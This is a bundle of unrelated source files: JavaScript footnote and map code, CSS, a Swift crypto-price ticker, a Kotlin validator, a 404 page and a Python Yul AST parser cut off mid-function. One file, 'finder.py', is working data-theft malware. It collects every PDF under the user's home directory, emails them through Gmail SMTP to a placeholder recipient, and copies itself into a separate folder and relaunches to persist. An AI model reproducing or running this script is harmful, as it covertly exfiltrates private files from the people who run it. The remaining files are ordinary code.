| 7,999 |
js
|
JavaScript
|
src/editor/utils.js
|
eea/volto-slate-footnote
|
aa1bc5354a656b7122f7033de74a21671e7a3a82
|
[
"MIT"
] | 2 |
2020-09-05T05:19:29.000Z
|
2020-09-17T09:58:38.000Z
|
src/editor/utils.js
|
eea/volto-slate-footnote
|
aa1bc5354a656b7122f7033de74a21671e7a3a82
|
[
"MIT"
] | 2 |
2021-08-09T13:33:32.000Z
|
2021-09-07T18:18:02.000Z
|
src/editor/utils.js
|
eea/volto-slate-footnote
|
aa1bc5354a656b7122f7033de74a21671e7a3a82
|
[
"MIT"
] | null | null | null |
import config from '@plone/volto/registry';
import { Node } from 'slate';
import { getAllBlocks } from 'volto-slate/utils';
/**
* remove <?xml version="1.0"?> from the string
* @param {*} footnote - xml format
* @returns string
*/
export const makeFootnote = (footnote) => {
const free = footnote ? footnote.replace('<?xml version="1.0"?>', '') : '';
return free;
};
/**
* Will open accordion if contains footnote reference
* @param {string} footnoteId
*/
export const openAccordionIfContainsFootnoteReference = (footnoteId) => {
if (typeof window !== 'undefined') {
const footnote = document.querySelector(footnoteId);
if (footnote !== null && footnote.closest('.accordion') !== null) {
const comp = footnote.closest('.accordion').querySelector('.title');
if (!comp.className.includes('active')) {
comp.click();
}
}
}
return true;
};
const blockTypesOperations = {
metadataSection: (block, properties) => {
const fields = block.fields;
const flatMetadataSectionBlocks = fields
.filter((field) => field?.field?.widget === 'slate')
.reduce((accumulator, currentField) => {
const fieldId = currentField.field.id;
const propertiesBlocks = (properties[fieldId] || []).map(
(propertyBlockValue) => ({
'@type': 'slate',
id: fieldId,
value: [propertyBlockValue],
}),
);
return [...accumulator, ...propertiesBlocks];
}, []);
return flatMetadataSectionBlocks;
},
metadata: (block, properties) => {
const fId = block.data.id;
return block?.data?.widget === 'slate'
? [
{
'@type': 'slate',
id: fId,
value: properties[fId]?.length ? properties[fId] : null,
},
]
: [];
},
slateTable: (block) => {
const flatSlateBlocks = (block?.table?.rows || []).reduce(
(accumulator, currentRow) => {
const cellsBlocks = (currentRow.cells || []).map((cell) => ({
'@type': 'slate',
...cell,
}));
return [...accumulator, ...cellsBlocks];
},
[],
);
return flatSlateBlocks;
},
defaultOperation: (block) => {
return [block];
},
};
/**
* Extends volto-slate getAllBlocks functionality also to SlateJSONFields
* inserted within blocks via Metadata / Metadata section block
* @param {Object} properties metadata properties received by the View component
* @returns {Array} Returns a flat array of blocks and slate fields
*/
export const getAllBlocksAndSlateFields = (properties) => {
const blocks = getAllBlocks(properties, []);
const flatBlocksResult = blocks.reduce((accumulator, currentblock) => {
return [
...accumulator,
...(blockTypesOperations[currentblock['@type']]
? blockTypesOperations[currentblock['@type']](currentblock, properties)
: blockTypesOperations.defaultOperation(currentblock)),
];
}, []);
return flatBlocksResult;
};
/**
* Will make an object with keys for every zoteroId and some uid that are unique
* or referenced multiple times
* - objects will have a refs object if more footnotes reference the same one
* - for citations, same zoteroId
* - for footnotes, identical text
* @param {Object} blocks
* @returns {Object} notesObjResult
*/
export const makeFootnoteListOfUniqueItems = (blocks) => {
const { footnotes } = config.settings;
let notesObjResult = {};
blocks
.filter((b) => b['@type'] === 'slate')
.forEach(({ value }) => {
if (!value) return;
// Node.elements(value[0]) returns an iterable generator of nodes
Array.from(Node.elements(value[0])).forEach(([node]) => {
if (footnotes.includes(node.type) && node.data) {
// for citations (Zotero items) create refs for same zoteroId
if (node.data.zoteroId) {
iterateZoteroObj(notesObjResult, node.data);
// itereate the extra obj for multiple citations
if (node.data.extra) {
node.data.extra.forEach((zoteroObjItem) =>
// send the uid of the parent
// of the word the will have the reference indice
iterateZoteroObj(notesObjResult, zoteroObjItem, node.data.uid),
);
}
// for footnotes - create refs, on identical text
} else {
iterateFootnoteObj(notesObjResult, node.data);
if (node.data.extra) {
node.data.extra.forEach((footnoteObjItem) =>
// since is called in case of extra, the parent is needed
iterateFootnoteObj(
notesObjResult,
footnoteObjItem,
node.data.uid,
),
);
}
}
}
});
});
return notesObjResult;
};
/**
* Will change the notesObjResultTemp to add new property if the zoteroId is new or add to the existing ones refs
* @param {Object} notesObjResultTemp - the object that will configure the zotero items
* @param {Object} zoteroObj - the footnote object
* @param {string} zoteroObj.zoteroId - id of the zotero citation
* @param {string} zoteroObj.uid - id of the slate item
* @param {string} zoteroObj.footnote - xml citation from zotero
* @param {string} parentUid - will be needed because html element (the word) that references multiple citations
* will have the id as the main uid, the ids from the extra will not matter in this case
*/
const iterateZoteroObj = (notesObjResultTemp, zoteroObj, parentUid) => {
const uid = parentUid || zoteroObj.uid;
// add new zoteroId
if (!notesObjResultTemp[zoteroObj.zoteroId]) {
notesObjResultTemp[zoteroObj.zoteroId] = {
...zoteroObj,
uid,
};
// if zoteroId and refs exist then add the uid to the refs
} else if (notesObjResultTemp[zoteroObj.zoteroId].refs) {
notesObjResultTemp[zoteroObj.zoteroId].refs[uid] = true;
} else {
// if zoteroId exists but not refs, add its own uid also in refs for easier parsing in html
notesObjResultTemp[zoteroObj.zoteroId].refs = {
[notesObjResultTemp[zoteroObj.zoteroId].uid]: true,
[uid]: true,
};
}
};
/**
* Will change the notesObjResultTemp to add new property if the footnote uid is new or add to the refs of the existing ones
* Some footnotes will always be in extra, so we need parentId to know where to find it in render
* @param {Object} notesObjResultTemp - the object that will configure the zotero items
* @param {Object} node - the footnote object
* @param {string} node.zoteroId - id of the zotero citation
* @param {string} node.parentUid - id of the parent footnote
* @param {string} node.uid - id of the slate item
* @param {string} node.footnote - xml citation from zotero
* @param {string} parentUid - will be needed because html element (the word) that references multiple citations
* will have the id as the main uid, the ids from the extra will not matter in this case
*/
const iterateFootnoteObj = (notesObjResultTemp, node, parentUid) => {
const uid = parentUid || node.uid;
const found = Object.keys(notesObjResultTemp).find((noteId) => {
return notesObjResultTemp[noteId].footnote === node.footnote;
});
// has not yet been added
if (!found) {
// will use the parentUid instead of own uid for render to be able to reference to the correct element
//(word containing the footnotes)
notesObjResultTemp[node.uid] = parentUid
? { ...node, parentUid }
: { ...node };
// the element is found, just add it's own uid to the list of refs, the parent is already known
} else if (notesObjResultTemp[found].refs) {
notesObjResultTemp[found].refs[uid] = true;
} else {
// element found but doesn't have refs yet, this means that it is a parent, so add it's existing uid and the current one
notesObjResultTemp[found].refs = {
[found]: true,
[uid]: true,
};
}
};
| 35.709821 | 124 | 0.635329 |
5cc8d3032ea999d1f5d73605b1e3928a1a7a1dd5
| 301 |
css
|
CSS
|
dist/devon-main-content/sections/video-app/component.css
|
lugutier/devonfw-web-fork
|
1fdef4bf96ccd878ac50797d78547d4639d73f65
|
[
"Apache-2.0"
] | null | null | null |
dist/devon-main-content/sections/video-app/component.css
|
lugutier/devonfw-web-fork
|
1fdef4bf96ccd878ac50797d78547d4639d73f65
|
[
"Apache-2.0"
] | null | null | null |
dist/devon-main-content/sections/video-app/component.css
|
lugutier/devonfw-web-fork
|
1fdef4bf96ccd878ac50797d78547d4639d73f65
|
[
"Apache-2.0"
] | null | null | null |
.cut-bl {
position: relative;
}
.cut-bl::before{
content: '';
position: absolute;
left: 0%;
bottom: 0%;
width: 0;
height: 0;
border-right: 8em solid transparent !important;
border-bottom: 8em solid var(--main-theme-color);
clear: both;
clip: rect(auto);
}
| 17.705882 | 53 | 0.58804 |
85794795aa6f4e52a09ba39ae7b968f25b163308
| 4,233 |
js
|
JavaScript
|
client/public/scripts/map_controller.js
|
nickperez1285/foodtruck
|
ff01a2c983e3d2a496fb2b2317683146eaea2932
|
[
"MIT"
] | null | null | null |
client/public/scripts/map_controller.js
|
nickperez1285/foodtruck
|
ff01a2c983e3d2a496fb2b2317683146eaea2932
|
[
"MIT"
] | null | null | null |
client/public/scripts/map_controller.js
|
nickperez1285/foodtruck
|
ff01a2c983e3d2a496fb2b2317683146eaea2932
|
[
"MIT"
] | null | null | null |
'use strict';
app.controller('MapCtrl', ['MarkerFactory', 'TruckFactory', '$scope', function(MarkerFactory, TruckFactory, $scope) {
$scope.$parent.$watch("trucks", function(newValue, oldValue) {
// alert($scope.$parent.trucks.length);
// $scope.map.markers.length = 0;
// alert($scope.$parent.trucks.length);
var trucks = $scope.$parent.trucks;
console.log(trucks);
if (trucks && trucks.length > 0) {
for(var i = 0; i < trucks.length; i++){
var address = trucks[i].currentAddress;
var name = trucks[i].truckName;
if (address) {
MarkerFactory.createByAddress(address, function(marker) {
// marker.options.labelContent = name;
$scope.map.markers.push(marker);
refresh(marker);
});
}
}
}
});
// $scope.$parent.$watch("filteredTrucks", function(newValue, oldValue) {
// // console.log($scope.map.markers);
// $scope.map.markers.length = 0;
// // console.log($scope.map.markers);
// var filteredTrucks = $scope.$parent.filteredTrucks;
// if (filteredTrucks && filteredTrucks.length > 0) {
// for(var i = 0; i < filteredTrucks.length; i++){
// var address = filteredTrucks[i].currentAddress;
// // var name = filteredTrucks[i].truckName;
// if (address) {
// console.log("inside address block");
// MarkerFactory.createByAddress(address, function(marker) {
// // marker.options.labelContent = name;
// $scope.map.markers.push(marker);
// refresh(marker);
// });
// }
// }
// }
// });
$scope.$watch("map.markers", function(newValue, oldValue) {
// if(newValue == oldValue){
// return;
// }
// console.log(JSON.stringify(newValue));
// alert(JSON.stringify(newValue.length));
}, true);
$scope.$parent.$watch("myTrucks", function(newValue, oldValue) {
var myTrucks = $scope.$parent.myTrucks;
if (myTrucks && myTrucks.length > 0) {
for(var i = 0; i < myTrucks.length; i++){
var address = myTrucks[i].currentAddress;
if (address) {
MarkerFactory.createByAddress(address, function(marker) {
$scope.map.markers.push(marker);
refresh(marker);
});
}
}
}
});
MarkerFactory.createByCoords(37.779277, -122.41927, function(marker) {
$scope.sfMarker = marker;
});
$scope.address = '';
$scope.map = {
center: {
latitude: $scope.sfMarker.latitude,
longitude: $scope.sfMarker.longitude
},
zoom: 12,
markers: [],
control: {},
options: {
scrollwheel: false
}
};
$scope.map.markers.push($scope.sfMarker);
$scope.clearMarkers = function () {
console.log("fck");
$scope.map.markers = [];
}
$scope.addCurrentLocation = function () {
MarkerFactory.createByCurrentLocation(function(marker) {
marker.options.labelContent = 'You´re here';
$scope.map.markers.push(marker);
refresh(marker);
});
};
$scope.addAddress = function() {
//add addresses here from truckFactory
var address = $scope.address;
if (address !== '') {
MarkerFactory.createByAddress(address, function(marker) {
$scope.map.markers.push(marker);
refresh(marker);
});
}
};
function refresh(marker) {
$scope.map.control.refresh({latitude: marker.latitude,
longitude: marker.longitude});
}
}])
| 34.983471 | 117 | 0.481691 |
194a8c0ecda173b68a6647f1b419923b4a57835a
| 5,396 |
swift
|
Swift
|
CoinTicker/Source/Exchanges/BitstampExchange.swift
|
CoinTicker/CoinTicker
|
c68e64ed93297e72d29fd05170937ab6db69f380
|
[
"MIT"
] | 2 |
2018-06-12T09:17:48.000Z
|
2020-02-13T17:14:00.000Z
|
CoinTicker/Source/Exchanges/BitstampExchange.swift
|
CoinTicker/CoinTicker
|
c68e64ed93297e72d29fd05170937ab6db69f380
|
[
"MIT"
] | null | null | null |
CoinTicker/Source/Exchanges/BitstampExchange.swift
|
CoinTicker/CoinTicker
|
c68e64ed93297e72d29fd05170937ab6db69f380
|
[
"MIT"
] | 1 |
2020-12-10T00:05:32.000Z
|
2020-12-10T00:05:32.000Z
|
//
// BitstampExchange.swift
// CoinTicker
//
// Created by Alec Ananian on 5/30/17.
// Copyright © 2017 Alec Ananian.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
import Foundation
import Starscream
import SwiftyJSON
import PromiseKit
class BitstampExchange: Exchange {
private struct Constants {
static let WebSocketURL = URL(string: "wss://ws.pusherapp.com/app/de504dc5763aeef9ff52?protocol=7")!
static let ProductListAPIPath = "https://www.bitstamp.net/api/v2/trading-pairs-info/"
static let TickerAPIPathFormat = "https://www.bitstamp.net/api/v2/ticker/%@/"
}
init(delegate: ExchangeDelegate? = nil) {
super.init(site: .bitstamp, delegate: delegate)
}
override func load() {
super.load(from: Constants.ProductListAPIPath) {
$0.json.arrayValue.compactMap { result in
let currencyCodes = result["name"].stringValue.split(separator: "/")
guard currencyCodes.count == 2, let baseCurrency = currencyCodes.first, let quoteCurrency = currencyCodes.last else {
return nil
}
let customCode = result["url_symbol"].string
guard let currencyPair = CurrencyPair(baseCurrency: String(baseCurrency), quoteCurrency: String(quoteCurrency), customCode: customCode) else {
return nil
}
return (currencyPair.baseCurrency.isPhysical ? nil : currencyPair)
}
}
}
override internal func fetch() {
if isUpdatingInRealTime {
let socket = WebSocket(url: Constants.WebSocketURL)
socket.callbackQueue = socketResponseQueue
socket.onConnect = { [weak self] in
self?.selectedCurrencyPairs.forEach({ currencyPair in
var channelName = "live_trades"
if !currencyPair.baseCurrency.isBitcoin || currencyPair.quoteCurrency.code != "USD" {
channelName += "_\(currencyPair.customCode)"
}
let json = JSON([
"event": "pusher:subscribe",
"data": [
"channel": channelName
]
])
if let string = json.rawString() {
socket.write(string: string)
}
})
}
socket.onText = { [weak self] text in
if let strongSelf = self {
let result = JSON(parseJSON: text)
if result["event"] == "trade" {
let productId = result["channel"].stringValue.replacingOccurrences(of: "live_trades_", with: "")
if let currencyPair = strongSelf.selectedCurrencyPair(withCustomCode: (productId == "live_trades" ? "btcusd" : productId)) {
let data = JSON(parseJSON: result["data"].stringValue)
strongSelf.setPrice(data["price"].doubleValue, for: currencyPair)
strongSelf.delegate?.exchangeDidUpdatePrices(strongSelf)
}
}
}
}
socket.connect()
self.socket = socket
} else {
_ = when(resolved: selectedCurrencyPairs.map({ currencyPair -> Promise<ExchangeAPIResponse> in
let apiRequestPath = String(format: Constants.TickerAPIPathFormat, currencyPair.customCode)
return requestAPI(apiRequestPath, for: currencyPair)
})).map { [weak self] results in
results.forEach({ result in
switch result {
case .fulfilled(let value):
if let currencyPair = value.representedObject as? CurrencyPair {
let price = value.json["last"].doubleValue
self?.setPrice(price, for: currencyPair)
}
default: break
}
})
self?.onFetchComplete()
}
}
}
}
| 43.168 | 158 | 0.56338 |
de48dd21f4714f08feaab97eed742b56a30fe022
| 1,016 |
kt
|
Kotlin
|
alphonse-validator-lib/src/main/java/com/atthapon/alphonsevalidator/rules/GreaterThanRule.kt
|
atthapon-k/validrator
|
84bd5c99e21dfb002b2994fec4b7278ed5f231f0
|
[
"Apache-2.0"
] | null | null | null |
alphonse-validator-lib/src/main/java/com/atthapon/alphonsevalidator/rules/GreaterThanRule.kt
|
atthapon-k/validrator
|
84bd5c99e21dfb002b2994fec4b7278ed5f231f0
|
[
"Apache-2.0"
] | null | null | null |
alphonse-validator-lib/src/main/java/com/atthapon/alphonsevalidator/rules/GreaterThanRule.kt
|
atthapon-k/validrator
|
84bd5c99e21dfb002b2994fec4b7278ed5f231f0
|
[
"Apache-2.0"
] | null | null | null |
package com.atthapon.alphonsevalidator.rules
import com.atthapon.alphonsevalidator.validNumber
import java.text.NumberFormat
class GreaterThanRule(val target: Number = 0, var errorMsg: String? = null): BaseRule {
override fun validate(text: String): Boolean {
if(text.isEmpty()) return false
if(text.startsWith("-")) {
val txtNum = text.substringAfter("-")
if(txtNum.validNumber()) {
var number = NumberFormat.getNumberInstance().parse(txtNum)
number = number.toFloat() * -1
return (number.toFloat() > target.toFloat())
}
return false
} else {
if(text.validNumber()) {
val number = NumberFormat.getNumberInstance().parse(text)
return (number.toFloat() > target.toFloat())
}
return false
}
}
override fun getErrorMessage() = errorMsg
override fun setError(msg: String) {
errorMsg = msg
}
}
| 32.774194 | 87 | 0.584646 |
0b3963c63ed1877c12683ef9458a7f962df91e0e
| 3,243 |
py
|
Python
|
finder.py
|
giuseppebrb/Pynder
|
a47defc08ff497096a1fe507ab5d7b01997b69ef
|
[
"MIT"
] | 3 |
2017-11-11T01:19:57.000Z
|
2021-07-07T15:44:32.000Z
|
finder.py
|
giuseppebrb/Pynder
|
a47defc08ff497096a1fe507ab5d7b01997b69ef
|
[
"MIT"
] | null | null | null |
finder.py
|
giuseppebrb/Pynder
|
a47defc08ff497096a1fe507ab5d7b01997b69ef
|
[
"MIT"
] | null | null | null |
import os
import fnmatch
import smtplib
import email.mime.application
import sys
import subprocess
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from pathlib import Path
home = str(Path.home()) # Return a string representing the user’s home directory
fileFound = 0 # Number of files found while discovering
fileScanned = 0 # Number of the already processed files
maxSize = 23068672 # Attachments bytes limit for the mail host (22MB in byte, but it can be changed)
actualSizeCounter = 0 # Bytes count for files already attached to the email
paths = [] # List of files directories, matching the pattern, that will be print into the email body
# Following values need to be changed
email_user = "SENDER-ADDRESS-HERE"
email_pwd = "SENDER-PASSWORD-HERE"
recipient = "RECIPIENT-ADDRESS-HERE"
"""
This function will return a list of strings which represents the files path with the specified extension inside the
specified path
"""
def find(pattern, path):
result = []
for root, dirs, files in os.walk(path):
for name in files:
if fnmatch.fnmatch(name, pattern):
result.append(os.path.join(root, name))
return result
"""
__________ START - It may NOT work on MacOS __________
| |
"""
injecting_folder = home+'\\script' # 'Injecting' folder
if not os.path.exists(injecting_folder):
os.system("mkdir %s" % injecting_folder)
executableLocation = find('EXECUTABLE-NAME-HERE.exe', os.path.dirname(os.path.abspath(__file__)))
# Create a new 'injecting' folder where software will copy itself
if not os.path.isfile(injecting_folder + "\\EXECUTABLE-NAME-HERE.exe"):
os.system("xcopy {!s} {!s} /R".format(executableLocation[0], injecting_folder))
# If current working directory is not the 'injecting' folder opens a new instance from there and close this one.
if os.getcwd() != injecting_folder:
os.chdir(injecting_folder)
subprocess.Popen([injecting_folder+'\\EXECUTABLE-NAME-HERE.exe'], stdin=None, stdout=None, stderr=None)
sys.exit()
"""
|__________ END - It may NOT work on MacOS __________|
"""
filesFound = find("*.pdf", home) # List of every pdf file found in every folder starting from the user's home directory
# Building the email structure
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = recipient
msg['Subject'] = "Files Found"
for f in filesFound:
fp = open(r'%s' % f, 'rb')
att = email.mime.application.MIMEApplication(fp.read())
fp.close()
paths.append("Directory: " + f)
att.add_header('Content-Disposition', 'attachment; filename="%s"' % f)
msg.attach(att)
for p in paths:
msg.attach(MIMEText(p, 'plain'))
# Open the connection with mail host with specified credentials
server = smtplib.SMTP('smtp.gmail.com', 587) # These values are just an example working with Gmail, you need to change
# them with your own host's SMTP address and port
server.ehlo()
server.starttls() # Starts a secure tls connection
server.login(email_user, email_pwd)
email_body = msg.as_string()
server.sendmail(email_user, recipient, email_body) # Send the email
server.quit() # Close the connection with host
sys.exit() # Quit program
| 35.25 | 120 | 0.716929 |
184adf88f632554407d21d5a2883dc05fa12e3c5
| 76 |
css
|
CSS
|
src/css/general.css
|
Carofif/dashboardaideenligneaffixe
|
983d98b34348d93b46b2114d4c2eb2a1bf8760a0
|
[
"OLDAP-2.6",
"OLDAP-2.3"
] | null | null | null |
src/css/general.css
|
Carofif/dashboardaideenligneaffixe
|
983d98b34348d93b46b2114d4c2eb2a1bf8760a0
|
[
"OLDAP-2.6",
"OLDAP-2.3"
] | 2 |
2021-03-09T20:05:07.000Z
|
2021-10-06T05:42:25.000Z
|
src/css/general.css
|
Carofif/dashboardaideenligneaffixe
|
983d98b34348d93b46b2114d4c2eb2a1bf8760a0
|
[
"OLDAP-2.6",
"OLDAP-2.3"
] | null | null | null |
.m-10{
margin: 10px !important;
}
.ml {
margin-left: 30px !important;
}
| 10.857143 | 31 | 0.618421 |
b89261ad21e63b306d07281ec959ca71146f98bd
| 2,322 |
html
|
HTML
|
client/404.html
|
Debug-Studios/Laparwah
|
29702cfcc3bcdc82a45faa0ba678ae30cce3d959
|
[
"Apache-2.0"
] | 5 |
2018-04-18T17:10:23.000Z
|
2020-02-14T09:24:55.000Z
|
client/404.html
|
Debug-Studios/Laparwah
|
29702cfcc3bcdc82a45faa0ba678ae30cce3d959
|
[
"Apache-2.0"
] | 30 |
2018-04-19T05:53:23.000Z
|
2018-05-06T20:02:32.000Z
|
client/404.html
|
Debug-Studios/Laparwah
|
29702cfcc3bcdc82a45faa0ba678ae30cce3d959
|
[
"Apache-2.0"
] | null | null | null |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Vue</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Megrim" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Audiowide" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>404</h1>
<h3>You have ventured into a dark corner of the universe!</h3>
<a href="/">
<p>Click here to return!</p>
</a>
</div>
<style>
body {
background-image: url(https://images.pexels.com/photos/176851/pexels-photo-176851.jpeg?cs=srgb&dl=astronomy-dark-evening-176851.jpg&fm=jpg);
background-size: cover;
height: 100vh;
width: 100vw;
overflow: hidden;
}
h1 {
color: white;
font-family: 'Audiowide', cursive;
letter-spacing: 0.5rem;
font-size: 6rem;
margin: 0;
text-align: center;
}
h3 {
color: white;
font-family: 'Megrim', cursive;
font-size: 2rem;
text-align: center;
}
a {
margin-top: 1rem;
font-weight: 800;
font-size: 2rem;
background-color: white;
padding: 0.5rem 1.5rem;
text-decoration: none;
transition: all 300ms;
opacity: 0.5;
}
a:hover {
transform: translateY(-0.3rem);
opacity: 1;
}
a p {
text-transform: uppercase;
font-family: 'Audiowide', cursive;
-webkit-text-fill-color: transparent;
background: url(https://images.pexels.com/photos/176851/pexels-photo-176851.jpeg?cs=srgb&dl=astronomy-dark-evening-176851.jpg&fm=jpg);
color: white;
-webkit-background-clip: text;
background-clip: text;
}
.container {
display: flex;
height: 100vh;
width: 100vw;
flex-direction: column;
justify-content: center;
align-items: center;
}
</style>
</body>
</html>
| 27.642857 | 152 | 0.517657 |
0b9e17c3c6711c5899263cca3e86df88aba125ad
| 13,497 |
py
|
Python
|
src/warp/yul/AstTools.py
|
sambarnes/warp
|
f841afa22e665d5554587eaa866c4790698bfc22
|
[
"Apache-2.0"
] | 414 |
2021-07-17T13:06:55.000Z
|
2022-03-31T14:57:10.000Z
|
src/warp/yul/AstTools.py
|
sambarnes/warp
|
f841afa22e665d5554587eaa866c4790698bfc22
|
[
"Apache-2.0"
] | 78 |
2021-07-19T12:33:56.000Z
|
2022-03-29T17:16:27.000Z
|
src/warp/yul/AstTools.py
|
sambarnes/warp
|
f841afa22e665d5554587eaa866c4790698bfc22
|
[
"Apache-2.0"
] | 19 |
2021-08-18T03:55:54.000Z
|
2022-03-29T15:29:48.000Z
|
from __future__ import annotations
import re
from typing import Union
import warp.yul.ast as ast
from warp.yul.AstVisitor import AstVisitor
from warp.yul.WarpException import WarpException
class AstParser:
def __init__(self, text: str):
self.lines = text.splitlines()
if len(self.lines) == 0:
raise WarpException("Text should not be empty")
self.pos = 0
def parse_typed_name(self) -> ast.TypedName:
tabs = self.get_tabs()
node_type_name = self.get_word(tabs)
assert node_type_name == "TypedName:", "This node should be of type TypedNode"
self.pos += 1
assert self.get_tabs() == tabs + 1, "Wrong indentation"
node_name, node_type = self.get_word(tabs + 1).split(":")
self.pos += 1
return ast.TypedName(name=node_name, type=node_type)
def parse_literal(self) -> ast.Literal:
tabs = self.get_tabs()
assert self.get_word(tabs).startswith(
"Literal:"
), "This node should be of type Literal"
value = self.get_word(tabs + 8)
self.pos += 1
try:
value = int(value)
except ValueError:
pass
return ast.Literal(value=value)
def parse_identifier(self) -> ast.Identifier:
tabs = self.get_tabs()
assert self.get_word(tabs).startswith(
"Identifier:"
), "This node should be of type Identifier"
name = self.get_word(tabs + 11)
self.pos += 1
return ast.Identifier(name=name)
def parse_assignment(self) -> ast.Assignment:
tabs = self.get_tabs()
assert (
self.get_word(tabs) == "Assignment:"
), "This node should be of type Assignment"
self.pos += 1
assert self.get_word(tabs + 1) == "Variables:"
self.pos += 1
variables_list = self.parse_list(tabs + 1, self.parse_identifier)
assert self.get_word(tabs + 1) == "Value:"
self.pos += 1
return ast.Assignment(
variable_names=variables_list, value=self.parse_expression()
)
def parse_function_call(self) -> ast.FunctionCall:
tabs = self.get_tabs()
assert (
self.get_word(tabs) == "FunctionCall:"
), "This node should be of type FunctionCall"
self.pos += 1
return ast.FunctionCall(
function_name=self.parse_identifier(),
arguments=self.parse_list(tabs, self.parse_expression),
)
def parse_expression_statement(self) -> ast.Statement:
tabs = self.get_tabs()
assert (
self.get_word(tabs) == "ExpressionStatement:"
), "This node should be of type ExpressionStatement"
self.pos += 1
return ast.ExpressionStatement(expression=self.parse_expression())
def parse_variable_declaration(self) -> ast.VariableDeclaration:
tabs = self.get_tabs()
assert (
self.get_word(tabs) == "VariableDeclaration:"
), "This node should be of type VariableDeclaration"
self.pos += 1
assert self.get_tabs() == tabs + 1
assert self.get_word(tabs + 1) == "Variables:"
self.pos += 1
variables = self.parse_list(tabs + 1, self.parse_typed_name)
assert self.get_tabs() == tabs + 1
word = self.get_word(tabs + 1)
self.pos += 1
assert word.startswith("Value")
if word.endswith("None"):
value = None
else:
value = self.parse_expression()
return ast.VariableDeclaration(variables=variables, value=value)
def parse_block(self) -> ast.Block:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Block:", "This node should be of type Block"
self.pos += 1
return ast.Block(statements=tuple(self.parse_list(tabs, self.parse_statement)))
def parse_function_definition(self) -> ast.FunctionDefinition:
tabs = self.get_tabs()
assert (
self.get_word(tabs) == "FunctionDefinition:"
), "This node should be of type FunctionDefinition"
self.pos += 1
assert self.get_tabs() == tabs + 1 and self.get_word(tabs + 1).startswith(
"Name:"
)
fun_name = self.get_word(tabs + 7)
self.pos += 1
assert self.get_tabs() == tabs + 1 and self.get_word(tabs + 1) == "Parameters:"
self.pos += 1
params = self.parse_list(tabs + 1, self.parse_typed_name)
assert (
self.get_tabs() == tabs + 1
and self.get_word(tabs + 1) == "Return Variables:"
)
self.pos += 1
returns = self.parse_list(tabs + 1, self.parse_typed_name)
assert self.get_tabs() == tabs + 1 and self.get_word(tabs + 1) == "Body:"
self.pos += 1
body = self.parse_block()
return ast.FunctionDefinition(
name=fun_name, parameters=params, return_variables=returns, body=body
)
def parse_if(self) -> ast.If:
tabs = self.get_tabs()
assert self.get_word(tabs) == "If:", "This node should be of type If"
self.pos += 1
condition = self.parse_expression()
body = self.parse_block()
else_body = None
if self.get_tabs() > tabs:
else_body = self.parse_block()
return ast.If(condition=condition, body=body, else_body=else_body)
def parse_case(self) -> ast.Case:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Case:", "This node should be of type Case"
self.pos += 1
try:
value = self.parse_literal()
except AssertionError:
assert (
self.get_tabs() == tabs + 1 and self.get_word(tabs + 1) == "Default"
), "The value must be a literal or None (when it's the default case)"
value = None
self.pos += 1
return ast.Case(value=value, body=self.parse_block())
def parse_switch(self) -> ast.Switch:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Switch:", "This node should be of type Switch"
self.pos += 1
return ast.Switch(
expression=self.parse_expression(),
cases=self.parse_list(tabs, self.parse_case),
)
def parse_for_loop(self) -> ast.ForLoop:
tabs = self.get_tabs()
assert self.get_word(tabs) == "ForLoop:", "This node should be of type ForLoop"
self.pos += 1
return ast.ForLoop(
pre=self.parse_block(),
condition=self.parse_expression(),
post=self.parse_block(),
body=self.parse_block(),
)
def parse_break(self) -> ast.Break:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Break", "This node should be of type Break"
self.pos += 1
return ast.Break()
def parse_continue(self) -> ast.Continue:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Continue", "This node should be of type Continue"
self.pos += 1
return ast.Continue()
def parse_leave(self) -> ast.Leave:
tabs = self.get_tabs()
assert self.get_word(tabs) == "Leave", "This node should be of type Leave"
self.pos += 1
return ast.LEAVE
def parse_node(self) -> ast.Node:
tabs = self.get_tabs()
node_type_name = self.get_word(tabs).split(":")[0]
parser_name = f"parse_{self.get_name(node_type_name)}"
parser = getattr(self, parser_name, None)
if parser is None:
raise WarpException("Wrong node type name!")
return parser()
def parse_statement(self) -> ast.Statement:
statements = [
"ExpressionStatement",
"Assignment",
"VariableDeclaration",
"FunctionDefinition",
"If",
"Switch",
"ForLoop",
"Break",
"Continue",
"Leave",
"Block",
]
tabs = self.get_tabs()
node_type_name = self.get_word(tabs).split(":")[0]
assert node_type_name in statements, "Not a valid statement"
return ast.assert_statement(self.parse_node())
def parse_expression(self) -> ast.Expression:
tabs = self.get_tabs()
node_type_name = self.get_word(tabs).split(":")[0]
assert node_type_name in [
"Literal",
"Identifier",
"FunctionCall",
], "Node type must be an expression"
return ast.assert_expression(self.parse_node())
def parse_list(self, tabs, parser):
items = []
while self.pos < len(self.lines) and self.get_tabs() > tabs:
item = parser()
items.append(item)
return items
def get_tabs(self):
tabs = 0
if self.pos < len(self.lines):
for c in self.lines[self.pos]:
if not c == "\t":
break
tabs += 1
else:
raise WarpException(
"Lines are not supposed to be filled only with tabs"
)
return tabs
def get_word(self, start: int) -> str:
